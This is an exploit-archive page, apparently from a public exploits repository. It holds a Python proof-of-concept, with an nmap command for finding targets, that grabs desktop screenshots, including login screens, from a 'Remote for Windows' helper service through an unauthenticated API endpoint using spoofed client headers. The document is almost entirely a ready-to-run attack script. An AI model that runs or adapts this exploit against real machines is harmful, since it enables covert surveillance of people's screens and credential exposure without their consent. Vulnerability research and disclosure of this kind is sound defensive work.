d69eaacef8
8 changes to exploits/shellcodes/ghdb Java-springboot-codebase 1.1 - Arbitrary File Read ABB Cylon Aspect Studio 3.08.03 - Binary Planting ABB Cylon Aspect 3.08.03 - Guest2Root Privilege Escalation Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow WordPress User Registration & Membership Plugin 4.1.2 - Authentication Bypass Microsoft Windows Server 2016 - Win32k Elevation of Privilege Windows 2024.15 - Unauthenticated Desktop Screenshot Capture
61 lines
No EOL
1.9 KiB
Python
Executable file
61 lines
No EOL
1.9 KiB
Python
Executable file
# Exploit Title: Windows 2024.15 - Unauthenticated Desktop Screenshot Capture
|
|
# Date: 2025-05-19
|
|
# Exploit Author: Chokri Hammedi
|
|
# Vendor Homepage: https://rs.ltd
|
|
# Software Link: https://rs.ltd/latest.php?os=win
|
|
# Version: 2024.15
|
|
# Tested on: Windows 10/11 with Remote for Windows (helper)
|
|
|
|
'''
|
|
Description:
|
|
- Exploits the getScreenshot API endpoint in Remote for Windows helper
|
|
service
|
|
- Works when "Allow unknown devices" setting is enabled (default: disabled)
|
|
- Captures current desktop including login screens (SYSTEM-level access)
|
|
|
|
Vulnerable Component:
|
|
- /api/getScreenshot endpoint with missing authentication checks
|
|
|
|
|
|
# Identification:
|
|
nmap -p- -T4 <TARGET_IP> --script ssl-cert
|
|
Look for SSL cert with subject: CN=SecureHTTPServer/O=Evgeny Cherpak/C=US
|
|
'''
|
|
|
|
#!/usr/bin/env python3
|
|
|
|
import requests
|
|
import sys
|
|
from urllib3.exceptions import InsecureRequestWarning
|
|
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
|
|
|
|
def capture_screenshot(ip, port, output_file):
|
|
try:
|
|
response = requests.get(
|
|
f"https://{ip}:{port}/api/getScreenshot",
|
|
headers={
|
|
"X-ClientToken": "exploit",
|
|
"X-HostName": "attacker-pc",
|
|
"X-HostFullModel": "exploit-device"
|
|
},
|
|
verify=False,
|
|
timeout=15
|
|
)
|
|
if response.status_code == 200 and
|
|
response.content.startswith(b'\xff\xd8'):
|
|
with open(output_file, 'wb') as f:
|
|
f.write(response.content)
|
|
print(f"[+] Saved: {output_file}")
|
|
return True
|
|
print(f"[-] Failed: HTTP {response.status_code}")
|
|
return False
|
|
except Exception as e:
|
|
print(f"[-] Error: {str(e)}")
|
|
return False
|
|
|
|
if __name__ == "__main__":
|
|
if len(sys.argv) < 4:
|
|
print(f"Usage: {sys.argv[0]} <IP> <PORT> <output.jpg>")
|
|
sys.exit(1)
|
|
sys.exit(0 if capture_screenshot(sys.argv[1], sys.argv[2], sys.argv[3])
|
|
else 1) |